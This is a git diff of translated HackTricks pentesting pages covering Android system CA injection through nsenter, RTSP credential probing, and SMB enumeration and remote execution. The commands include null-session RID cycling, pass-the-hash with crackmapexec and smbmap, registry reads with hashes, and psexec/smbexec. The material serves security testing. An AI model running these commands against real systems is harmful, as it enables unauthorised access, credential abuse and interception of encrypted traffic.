2. **Préparation des certificats CA** : Après la configuration du répertoire inscriptible, les certificats CA que l'on a l'intention d'utiliser doivent être copiés dans ce répertoire. Cela peut impliquer de copier les certificats par défaut depuis `/apex/com.android.conscrypt/cacerts/`. Il est essentiel d'ajuster les autorisations et les étiquettes SELinux de ces certificats en conséquence.
|
||||
3. **Montage de liaison pour Zygote** : En utilisant `nsenter`, on entre dans l'espace de montage de Zygote. Zygote, étant le processus responsable du lancement des applications Android, nécessite cette étape pour garantir que toutes les applications initiées par la suite utilisent les certificats CA nouvellement configurés. La commande utilisée est :
|
||||
```bash
|
||||
nsenter --mount=/proc/$ZYGOTE_PID/ns/mnt -- /bin/mount --bind /system/etc/security/cacerts /apex/com.android.conscrypt/cacerts
|
||||
```
|
||||
Cela garantit que chaque nouvelle application lancée respectera la configuration des certificats CA mise à jour.
|
||||
|
||||
4. **Application des modifications aux applications en cours d'exécution**: Pour appliquer les modifications aux applications déjà en cours d'exécution, `nsenter` est à nouveau utilisé pour entrer individuellement dans l'espace de nom de chaque application et effectuer un montage de liaison similaire. La commande nécessaire est:
|
||||
4. **Application des modifications aux applications en cours d'exécution**: Pour appliquer les modifications aux applications déjà en cours d'exécution, `nsenter` est à nouveau utilisé pour entrer individuellement dans l'espace de noms de chaque application et effectuer un montage de liaison similaire. La commande nécessaire est:
|
||||
```bash
|
||||
nsenter --mount=/proc/$APP_PID/ns/mnt -- /bin/mount --bind /system/etc/security/cacerts /apex/com.android.conscrypt/cacerts
|
||||
```
|
||||
5. **Approche alternative - Redémarrage doux**: Une méthode alternative consiste à effectuer le montage de liaison sur le processus `init` (PID 1), suivi d'un redémarrage doux du système d'exploitation avec les commandes `stop && start`. Cette approche propagerait les modifications à travers tous les espaces de noms, évitant ainsi la nécessité de traiter individuellement chaque application en cours d'exécution. Cependant, cette méthode est généralement moins préférée en raison de l'inconvénient du redémarrage.
|
||||
5. **Approche alternative - Redémarrage doux**: Une méthode alternative consiste à effectuer le montage de liaison sur le processus `init` (PID 1) suivi d'un redémarrage doux du système d'exploitation avec les commandes `stop && start`. Cette approche propagerait les modifications à travers tous les espaces de noms, évitant ainsi la nécessité de traiter individuellement chaque application en cours d'exécution. Cependant, cette méthode est généralement moins préférée en raison de l'inconvénient du redémarrage.
|
||||
|
||||
## Références
|
||||
|
||||
* [https://httptoolkit.com/blog/android-14-install-system-ca-certificate/](https://httptoolkit.com/blog/android-14-install-system-ca-certificate/)
|
||||
|
||||
<details>
|
||||
|
@ -166,7 +166,7 @@ Autres façons de soutenir HackTricks:
|
|||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -9,7 +9,7 @@ Autres façons de soutenir HackTricks:
|
|||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
@ -18,9 +18,9 @@ Autres façons de soutenir HackTricks:
|
|||
|
||||
D'après [wikipedia](https://en.wikipedia.org/wiki/Real\_Time\_Streaming\_Protocol):
|
||||
|
||||
> Le **Protocole de Streaming en Temps Réel** (**RTSP**) est un protocole de contrôle réseau conçu pour une utilisation dans les systèmes de divertissement et de communication afin de contrôler les serveurs de médias en streaming. Le protocole est utilisé pour établir et contrôler des sessions multimédias entre les points finaux. Les clients des serveurs multimédias émettent des commandes de style VHS, telles que lecture, enregistrement et pause, pour faciliter le contrôle en temps réel du streaming multimédia du serveur vers un client (Vidéo à la Demande) ou d'un client vers le serveur (Enregistrement Vocal).
|
||||
> Le **Protocole de streaming en temps réel** (**RTSP**) est un protocole de contrôle réseau conçu pour une utilisation dans les systèmes de divertissement et de communication pour contrôler les serveurs de médias en streaming. Le protocole est utilisé pour établir et contrôler des sessions multimédias entre les points finaux. Les clients des serveurs de médias émettent des commandes de style VHS, telles que lecture, enregistrement et pause, pour faciliter le contrôle en temps réel du streaming multimédia du serveur vers un client (Vidéo à la demande) ou d'un client vers le serveur (Enregistrement vocal).
|
||||
>
|
||||
> La transmission des données en streaming n'est pas une tâche du RTSP. La plupart des serveurs RTSP utilisent le Protocole de Transport en Temps Réel (RTP) en conjonction avec le Protocole de Contrôle en Temps Réel (RTCP) pour la livraison du flux multimédia. Cependant, certains fournisseurs implémentent des protocoles de transport propriétaires. Par exemple, le logiciel serveur RTSP de RealNetworks utilisait également le Transport de Données Réel (RDT) propriétaire de RealNetworks.
|
||||
> La transmission des données en streaming n'est pas une tâche du RTSP. La plupart des serveurs RTSP utilisent le Protocole de transport en temps réel (RTP) en conjonction avec le Protocole de contrôle en temps réel (RTCP) pour la diffusion de flux multimédias. Cependant, certains fournisseurs implémentent des protocoles de transport propriétaires. Par exemple, le logiciel serveur RTSP de RealNetworks utilisait également le Transport de données RealNetworks (RDT) propriétaire.
|
||||
|
||||
**Ports par défaut :** 554,8554
|
||||
```
|
||||
|
@ -33,15 +33,15 @@ PORT STATE SERVICE
|
|||
|
||||
[RTSP – RFC2326](https://tools.ietf.org/html/rfc2326)
|
||||
|
||||
Les appareils peuvent autoriser l'accès **non authentifié** ou **authentifié**. Pour vérifier, une requête "DESCRIBE" est envoyée. Un exemple de base est présenté ci-dessous :
|
||||
Les appareils peuvent autoriser l'accès **non authentifié** ou **authentifié**. Pour vérifier, une requête "DESCRIBE" est envoyée. Un exemple de base est montré ci-dessous :
|
||||
|
||||
`DESCRIBE rtsp://<ip>:<port> RTSP/1.0\r\nCSeq: 2\r\n`
|
||||
`DESCRIBE rtsp://<ip>:<port> RTSP/1.0\r\nCSeq: 2\r`
|
||||
|
||||
N'oubliez pas que le format correct inclut un double "\r\n" pour une réponse cohérente. Une réponse "200 OK" indique un accès **non authentifié**, tandis que "401 Unauthorized" signale la nécessité d'une authentification, révélant si une **authentification de base** ou **digest** est requise.
|
||||
N'oubliez pas, le format correct inclut un double "\r\n" pour une réponse cohérente. Une réponse "200 OK" indique un accès **non authentifié**, tandis que "401 Unauthorized" signale le besoin d'authentification, révélant si une **authentification de base** ou **digest** est requise.
|
||||
|
||||
Pour l'**authentification de base**, vous encodez le nom d'utilisateur et le mot de passe en base64 et les incluez dans la requête comme ceci :
|
||||
|
||||
`DESCRIBE rtsp://<ip>:<port> RTSP/1.0\r\nCSeq: 2\r\nAuthorization: Basic YWRtaW46MTIzNA==\r\n`
|
||||
`DESCRIBE rtsp://<ip>:<port> RTSP/1.0\r\nCSeq: 2\r\nAuthorization: Basic YWRtaW46MTIzNA==\r`
|
||||
|
||||
Cet exemple utilise "admin" et "1234" pour les identifiants. Voici un **script Python** pour envoyer une telle requête :
|
||||
```python
|
||||
|
@ -57,7 +57,6 @@ print(data)
|
|||
|
||||
Cette vue d'ensemble simplifie le processus d'accès aux flux RTSP, en se concentrant sur l'**authentification de base** pour sa simplicité et sa praticité dans les tentatives initiales.
|
||||
|
||||
|
||||
## Énumération
|
||||
|
||||
Obtenons des informations sur les méthodes valides et les URL prises en charge et essayons de forcer l'accès (si nécessaire) pour accéder au contenu.
|
||||
|
@ -81,6 +80,7 @@ Pour effectuer une attaque par force brute : [https://github.com/Tek-Security-Gr
|
|||
* Afficher un résumé de toutes les informations que Cameradar a pu obtenir
|
||||
|
||||
## Références
|
||||
|
||||
* [https://en.wikipedia.org/wiki/Real\_Time\_Streaming\_Protocol](https://en.wikipedia.org/wiki/Real\_Time\_Streaming\_Protocol)
|
||||
* [http://badguyfu.net/rtsp-brute-forcing-for-fun-and-naked-pictures/](http://badguyfu.net/rtsp-brute-forcing-for-fun-and-naked-pictures/)
|
||||
* [https://github.com/Ullaakut/cameradar](https://github.com/Ullaakut/cameradar)
|
||||
|
@ -94,7 +94,7 @@ Autres moyens de soutenir HackTricks :
|
|||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -4,27 +4,27 @@
|
|||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Autres façons de soutenir HackTricks :
|
||||
Autres façons de soutenir HackTricks:
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
|
||||
</details>
|
||||
|
||||
## **Port 139**
|
||||
|
||||
Le **_Système d'entrée/sortie de base du réseau_ (NetBIOS)** est un protocole logiciel conçu pour permettre aux applications, aux PC et aux ordinateurs de bureau au sein d'un réseau local (LAN) d'interagir avec le matériel réseau et **faciliter la transmission de données à travers le réseau**. L'identification et la localisation des applications logicielles fonctionnant sur un réseau NetBIOS sont réalisées via leurs noms NetBIOS, qui peuvent comporter jusqu'à 16 caractères et sont souvent distincts du nom de l'ordinateur. Une session NetBIOS entre deux applications est initiée lorsqu'une application (agissant en tant que client) émet une commande pour "appeler" une autre application (agissant en tant que serveur) en utilisant le **Port TCP 139**.
|
||||
Le _**Système d'entrée/sortie de base du réseau**_** (NetBIOS)** est un protocole logiciel conçu pour permettre aux applications, aux PC et aux ordinateurs de bureau au sein d'un réseau local (LAN) d'interagir avec le matériel réseau et **faciliter la transmission de données à travers le réseau**. L'identification et la localisation des applications logicielles fonctionnant sur un réseau NetBIOS sont réalisées via leurs noms NetBIOS, qui peuvent comporter jusqu'à 16 caractères et sont souvent distincts du nom de l'ordinateur. Une session NetBIOS entre deux applications est initiée lorsqu'une application (agissant en tant que client) émet une commande pour "appeler" une autre application (agissant en tant que serveur) en utilisant le **Port TCP 139**.
|
||||
```
|
||||
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
|
||||
```
|
||||
## Port 445
|
||||
|
||||
Techniquement, le Port 139 est appelé « NBT sur IP », tandis que le Port 445 est identifié comme « SMB sur IP ». L'acronyme **SMB** signifie « **Server Message Blocks** », également connu de nos jours sous le nom de **Common Internet File System (CIFS)**. En tant que protocole réseau de couche application, SMB/CIFS est principalement utilisé pour permettre l'accès partagé aux fichiers, imprimantes, ports série, et faciliter diverses formes de communication entre les nœuds d'un réseau.
|
||||
Techniquement, le Port 139 est appelé 'NBT sur IP', tandis que le Port 445 est identifié comme 'SMB sur IP'. L'acronyme **SMB** signifie '**Server Message Blocks**', également connu de nos jours sous le nom de **Common Internet File System (CIFS)**. En tant que protocole réseau de couche application, SMB/CIFS est principalement utilisé pour permettre l'accès partagé aux fichiers, imprimantes, ports série, et faciliter diverses formes de communication entre les nœuds d'un réseau.
|
||||
|
||||
Par exemple, dans le contexte de Windows, il est souligné que SMB peut fonctionner directement sur TCP/IP, éliminant ainsi la nécessité de NetBIOS sur TCP/IP, grâce à l'utilisation du port 445. En revanche, sur différents systèmes, on observe l'utilisation du port 139, ce qui indique que SMB est exécuté en conjonction avec NetBIOS sur TCP/IP.
|
||||
Par exemple, dans le contexte de Windows, il est souligné que SMB peut fonctionner directement sur TCP/IP, éliminant ainsi la nécessité de NetBIOS sur TCP/IP, grâce à l'utilisation du port 445. En revanche, sur différents systèmes, l'utilisation du port 139 est observée, indiquant que SMB est exécuté en conjonction avec NetBIOS sur TCP/IP.
|
||||
```
|
||||
445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
|
||||
```
|
||||
|
@ -32,17 +32,17 @@ Par exemple, dans le contexte de Windows, il est souligné que SMB peut fonction
|
|||
|
||||
Le protocole **Server Message Block (SMB)**, fonctionnant dans un modèle **client-serveur**, est conçu pour réguler l'**accès aux fichiers**, répertoires et autres ressources réseau comme les imprimantes et routeurs. Principalement utilisé dans la série de systèmes d'exploitation **Windows**, SMB garantit la compatibilité ascendante, permettant aux appareils avec des versions plus récentes du système d'exploitation de Microsoft d'interagir de manière transparente avec ceux exécutant des versions plus anciennes. De plus, le projet **Samba** propose une solution logicielle gratuite, permettant l'implémentation de SMB sur les systèmes **Linux** et Unix, facilitant ainsi la communication interplateforme via SMB.
|
||||
|
||||
Les partages, représentant des **parties arbitraires du système de fichiers local**, peuvent être fournis par un serveur SMB, rendant la hiérarchie visible pour un client en partie **indépendante** de la structure réelle du serveur. Les **Listes de contrôle d'accès (ACL)**, qui définissent les **droits d'accès**, permettent un **contrôle précis** sur les autorisations des utilisateurs, incluant des attributs tels que **`exécution`**, **`lecture`** et **`accès complet`**. Ces autorisations peuvent être attribuées à des utilisateurs individuels ou des groupes, basés sur les partages, et sont distinctes des autorisations locales définies sur le serveur.
|
||||
Les partages, représentant des **parties arbitraires du système de fichiers local**, peuvent être fournis par un serveur SMB, rendant la hiérarchie visible pour un client en partie **indépendante** de la structure réelle du serveur. Les **Listes de contrôle d'accès (ACL)**, qui définissent les **droits d'accès**, permettent un **contrôle précis** sur les autorisations des utilisateurs, incluant des attributs tels que **`exécution`**, **`lecture`** et **`accès complet`**. Ces autorisations peuvent être attribuées à des utilisateurs individuels ou des groupes, en fonction des partages, et sont distinctes des autorisations locales définies sur le serveur.
|
||||
|
||||
### Partage IPC$
|
||||
|
||||
L'accès au partage IPC$ peut être obtenu via une session nulle anonyme, permettant d'interagir avec les services exposés via des tubes nommés. L'utilitaire `enum4linux` est utile à cette fin. Utilisé correctement, il permet d'acquérir :
|
||||
L'accès au partage IPC$ peut être obtenu via une session nulle anonyme, permettant d'interagir avec des services exposés via des tubes nommés. L'utilitaire `enum4linux` est utile à cette fin. Utilisé correctement, il permet d'obtenir :
|
||||
|
||||
- Des informations sur le système d'exploitation
|
||||
- Des détails sur le domaine parent
|
||||
- Une compilation des utilisateurs et groupes locaux
|
||||
- Des informations sur les partages SMB disponibles
|
||||
- La politique de sécurité système effective
|
||||
* Des informations sur le système d'exploitation
|
||||
* Des détails sur le domaine parent
|
||||
* Une compilation des utilisateurs et groupes locaux
|
||||
* Des informations sur les partages SMB disponibles
|
||||
* La politique de sécurité système effective
|
||||
|
||||
Cette fonctionnalité est cruciale pour les administrateurs réseau et les professionnels de la sécurité afin d'évaluer la posture de sécurité des services SMB (Server Message Block) sur un réseau. `enum4linux` offre une vue complète de l'environnement SMB du système cible, essentielle pour identifier les vulnérabilités potentielles et garantir que les services SMB sont correctement sécurisés.
|
||||
```bash
|
||||
|
@ -50,7 +50,6 @@ enum4linux -a target_ip
|
|||
```
|
||||
La commande ci-dessus est un exemple de la façon dont `enum4linux` pourrait être utilisé pour effectuer une énumération complète contre une cible spécifiée par `target_ip`.
|
||||
|
||||
|
||||
## Qu'est-ce que NTLM
|
||||
|
||||
Si vous ne savez pas ce qu'est NTLM ou si vous voulez savoir comment cela fonctionne et comment en abuser, vous trouverez très intéressante cette page sur **NTLM** où est expliqué **comment ce protocole fonctionne et comment vous pouvez en tirer parti:**
|
||||
|
@ -99,18 +98,18 @@ searchsploit microsoft smb
|
|||
| _(vide)_ | _(vide)_ |
|
||||
| invité | _(vide)_ |
|
||||
| Administrateur, admin | _(vide)_, mot de passe, administrateur, admin |
|
||||
| arcserve | arcserve, sauvegarde |
|
||||
| arcserve | arcserve, sauvegarde |
|
||||
| tivoli, tmersrvd | tivoli, tmersrvd, admin |
|
||||
| backupexec, backup | backupexec, backup, arcada |
|
||||
| test, lab, demo | mot de passe, test, lab, demo |
|
||||
|
||||
### Force brute
|
||||
### **Brute Force**
|
||||
|
||||
* [**Force brute SMB**](../generic-methodologies-and-resources/brute-force.md#smb)
|
||||
* [**Brute Force SMB**](../generic-methodologies-and-resources/brute-force.md#smb)
|
||||
|
||||
### Informations sur l'environnement SMB
|
||||
|
||||
### Obtenir des informations
|
||||
### Obtenir des Informations
|
||||
```bash
|
||||
#Dump interesting information
|
||||
enum4linux -a [-u "<username>" -p "<passwd>"] <IP>
|
||||
|
@ -132,7 +131,7 @@ rpcclient -U "username%passwd" <IP> #With creds
|
|||
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 139 [[domain/]username[:password]@]<targetName or address>
|
||||
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 445 [[domain/]username[:password]@]<targetName or address>
|
||||
```
|
||||
### Énumérer les utilisateurs, les groupes et les utilisateurs connectés
|
||||
### Enumérer les utilisateurs, les groupes et les utilisateurs connectés
|
||||
|
||||
Ces informations devraient déjà être collectées à partir de enum4linux et enum4linux-ng
|
||||
```bash
|
||||
|
@ -152,7 +151,7 @@ enumdomgroups
|
|||
```bash
|
||||
lookupsid.py -no-pass hostname.local
|
||||
```
|
||||
Une ligne
|
||||
# Une ligne
|
||||
```bash
|
||||
for i in $(seq 500 1100);do rpcclient -N -U "" 10.10.10.10 -c "queryuser 0x$(printf '%x\n' $i)" | grep "User Name\|user_rid\|group_rid" && echo "";done
|
||||
```
|
||||
|
@ -210,7 +209,7 @@ smbmap -u "username" -p "<NT>:<LM>" [-r/-R] [Folder] -H <IP> [-P <PORT>] #Pass-t
|
|||
```
|
||||
### **Énumérer manuellement les partages Windows et s'y connecter**
|
||||
|
||||
Il est possible que vous soyez restreint à afficher les partages de la machine hôte et lorsque vous essayez de les lister, il semble qu'il n'y ait aucun partage auquel se connecter. Il peut donc être utile d'essayer de se connecter manuellement à un partage. Pour énumérer les partages manuellement, vous voudrez peut-être rechercher des réponses telles que NT\_STATUS\_ACCESS\_DENIED et NT\_STATUS\_BAD\_NETWORK\_NAME, lorsque vous utilisez une session valide (par exemple une session nulle ou des identifiants valides). Cela peut indiquer si le partage existe et que vous n'y avez pas accès, ou si le partage n'existe pas du tout.
|
||||
Il est possible que vous soyez restreint à afficher les partages de la machine hôte et lorsque vous essayez de les lister, il semble qu'il n'y ait aucun partage auquel se connecter. Il pourrait donc être utile d'essayer de vous connecter manuellement à un partage. Pour énumérer les partages manuellement, vous voudrez peut-être rechercher des réponses telles que NT\_STATUS\_ACCESS\_DENIED et NT\_STATUS\_BAD\_NETWORK\_NAME, lorsque vous utilisez une session valide (par exemple, une session nulle ou des identifiants valides). Cela peut indiquer si le partage existe et que vous n'y avez pas accès, ou si le partage n'existe pas du tout.
|
||||
|
||||
Les noms de partage courants pour les cibles Windows sont
|
||||
|
||||
|
@ -230,7 +229,7 @@ Vous pouvez essayer de vous y connecter en utilisant la commande suivante
|
|||
smbclient -U '%' -N \\\\<IP>\\<SHARE> # null session to connect to a windows share
|
||||
smbclient -U '<USER>' \\\\<IP>\\<SHARE> # authenticated session to connect to a windows share (you will be prompted for a password)
|
||||
```
|
||||
ou ce script (en utilisant une session nulle)
|
||||
ou ce script (utilisant une session nulle)
|
||||
```bash
|
||||
#/bin/bash
|
||||
|
||||
|
@ -247,7 +246,37 @@ echo $output # echo error message (e.g. NT_STATUS_ACCESS_DENIED or NT_STATUS_BAD
|
|||
fi
|
||||
done
|
||||
```
|
||||
Exemples
|
||||
# Exemples
|
||||
|
||||
## Enumération SMB
|
||||
|
||||
L'enumération SMB est une étape cruciale lors de l'évaluation de la sécurité d'un réseau. Voici quelques commandes couramment utilisées pour l'enumération SMB :
|
||||
|
||||
### Enumération des utilisateurs
|
||||
|
||||
```bash
|
||||
nmap --script=smb-enum-users <cible>
|
||||
```
|
||||
|
||||
### Enumération des partages
|
||||
|
||||
```bash
|
||||
nmap --script=smb-enum-shares <cible>
|
||||
```
|
||||
|
||||
### Enumération des informations sur le système
|
||||
|
||||
```bash
|
||||
nmap --script=smb-os-discovery <cible>
|
||||
```
|
||||
|
||||
### Enumération des versions SMB
|
||||
|
||||
```bash
|
||||
nmap --script=smb-protocols <cible>
|
||||
```
|
||||
|
||||
Ces commandes peuvent vous aider à recueillir des informations précieuses sur un système SMB et à identifier les potentielles vulnérabilités à exploiter.
|
||||
```bash
|
||||
smbclient -U '%' -N \\\\192.168.0.24\\im_clearly_not_here # returns NT_STATUS_BAD_NETWORK_NAME
|
||||
smbclient -U '%' -N \\\\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED or even gives you a session
|
||||
|
@ -318,12 +347,12 @@ Commandes :
|
|||
Snaffler.exe -s -d domain.local -o snaffler.log -v data
|
||||
```
|
||||
* [**CrackMapExec**](https://wiki.porchetta.industries/smb-protocol/spidering-shares) araignée.
|
||||
* `-M spider_plus [--share <nom_partage>]`
|
||||
* `-M araignée_plus [--share <nom_partage>]`
|
||||
* `--pattern txt`
|
||||
```bash
|
||||
sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'Department Shares'
|
||||
```
|
||||
Surtout intéressants parmi les partages sont les fichiers appelés **`Registry.xml`** car ils **peuvent contenir des mots de passe** pour les utilisateurs configurés avec **l'ouverture de session automatique** via la stratégie de groupe. Ou les fichiers **`web.config`** car ils contiennent des informations d'identification.
|
||||
Les fichiers appelés **`Registry.xml`** sont particulièrement intéressants car ils **peuvent contenir des mots de passe** pour les utilisateurs configurés avec **l'autologon** via la stratégie de groupe. Ou les fichiers **`web.config`** car ils contiennent des informations d'identification.
|
||||
|
||||
{% hint style="info" %}
|
||||
Le partage **SYSVOL** est **lisible** par tous les utilisateurs authentifiés dans le domaine. Vous pouvez **trouver** de nombreux scripts batch, VBScript et PowerShell différents à l'intérieur.\
|
||||
|
@ -332,7 +361,7 @@ Vous devriez **vérifier** les **scripts** à l'intérieur car vous pourriez **t
|
|||
|
||||
## Lire le Registre
|
||||
|
||||
Vous pouvez être en mesure de **lire le registre** en utilisant des informations d'identification découvertes. Impacket **`reg.py`** vous permet d'essayer :
|
||||
Vous pouvez **lire le registre** en utilisant des informations d'identification découvertes. Impacket **`reg.py`** vous permet d'essayer :
|
||||
```bash
|
||||
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKU -s
|
||||
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKCU -s
|
||||
|
@ -349,11 +378,11 @@ La **configuration par défaut** d'un serveur **Samba** est généralement situ
|
|||
| `writable = yes` | Autoriser les utilisateurs à créer et modifier des fichiers ? |
|
||||
| `guest ok = yes` | Autoriser la connexion au service sans utiliser de mot de passe ? |
|
||||
| `enable privileges = yes` | Respecter les privilèges attribués à un SID spécifique ? |
|
||||
| `create mask = 0777` | Quels sont les autorisations à attribuer aux fichiers nouvellement créés ? |
|
||||
| `create mask = 0777` | Quelles autorisations doivent être attribuées aux fichiers nouvellement créés ? |
|
||||
| `directory mask = 0777` | Quelles autorisations doivent être attribuées aux répertoires nouvellement créés ? |
|
||||
| `logon script = script.sh` | Quel script doit être exécuté lors de la connexion de l'utilisateur ? |
|
||||
| `magic script = script.sh` | Quel script doit être exécuté lorsque le script est fermé ? |
|
||||
| `magic output = script.out` | Où doit être stockée la sortie du script magique ? |
|
||||
| `magic output = script.out` | Où doit être stockée la sortie du script magique ? |
|
||||
|
||||
La commande `smbstatus` fournit des informations sur le **serveur** et sur **qui est connecté**.
|
||||
|
||||
|
@ -368,7 +397,7 @@ rpcclient -k ws01win10.domain.com
|
|||
|
||||
### **crackmapexec**
|
||||
|
||||
crackmapexec peut exécuter des commandes en **abusant** de l'un des **mmcexec, smbexec, atexec, wmiexec** étant **wmiexec** la méthode **par défaut**. Vous pouvez indiquer l'option que vous préférez utiliser avec le paramètre `--exec-method`:
|
||||
crackmapexec peut exécuter des commandes en **abusant** de l'un des **mmcexec, smbexec, atexec, wmiexec** étant **wmiexec** la méthode **par défaut**. Vous pouvez indiquer quelle option vous préférez utiliser avec le paramètre `--exec-method`:
|
||||
```bash
|
||||
apt-get install crackmapexec
|
||||
|
||||
|
@ -392,9 +421,9 @@ crackmapexec smb <IP> -d <DOMAIN> -u Administrator -H <HASH> #Pass-The-Hash
|
|||
```
|
||||
### [**psexec**](../windows-hardening/ntlm/psexec-and-winexec.md)**/**[**smbexec**](../windows-hardening/ntlm/smbexec.md)
|
||||
|
||||
Les deux options vont **créer un nouveau service** (en utilisant _\pipe\svcctl_ via SMB) sur la machine victime et l'utiliser pour **exécuter quelque chose** (**psexec** va **uploader** un fichier exécutable vers le partage ADMIN$ et **smbexec** va pointer vers **cmd.exe/powershell.exe** et mettre en arguments la charge utile --**technique sans fichier-**-).\
|
||||
Les deux options vont **créer un nouveau service** (en utilisant _\pipe\svcctl_ via SMB) sur la machine victime et l'utiliser pour **exécuter quelque chose** (**psexec** va **uploader** un fichier exécutable vers le partage ADMIN$ et **smbexec** pointera vers **cmd.exe/powershell.exe** et mettra en arguments la charge utile --**technique sans fichier-**-).\
|
||||
**Plus d'informations** sur [**psexec**](../windows-hardening/ntlm/psexec-and-winexec.md) et [**smbexec**](../windows-hardening/ntlm/smbexec.md).\
|
||||
Sur **kali**, cela se trouve dans /usr/share/doc/python3-impacket/examples/
|
||||
Sur **kali**, il se trouve dans /usr/share/doc/python3-impacket/examples/
|
||||
```bash
|
||||
#If no password is provided, it will be prompted
|
||||
./psexec.py [[domain/]username[:password]@]<targetName or address>
|
||||
|
@ -435,7 +464,7 @@ Dans **kali**, il se trouve dans /usr/share/doc/python3-impacket/examples/
|
|||
|
||||
## **Forcer les identifiants des utilisateurs**
|
||||
|
||||
**Ceci n'est pas recommandé, vous pourriez bloquer un compte si vous dépassez le nombre de tentatives autorisées**
|
||||
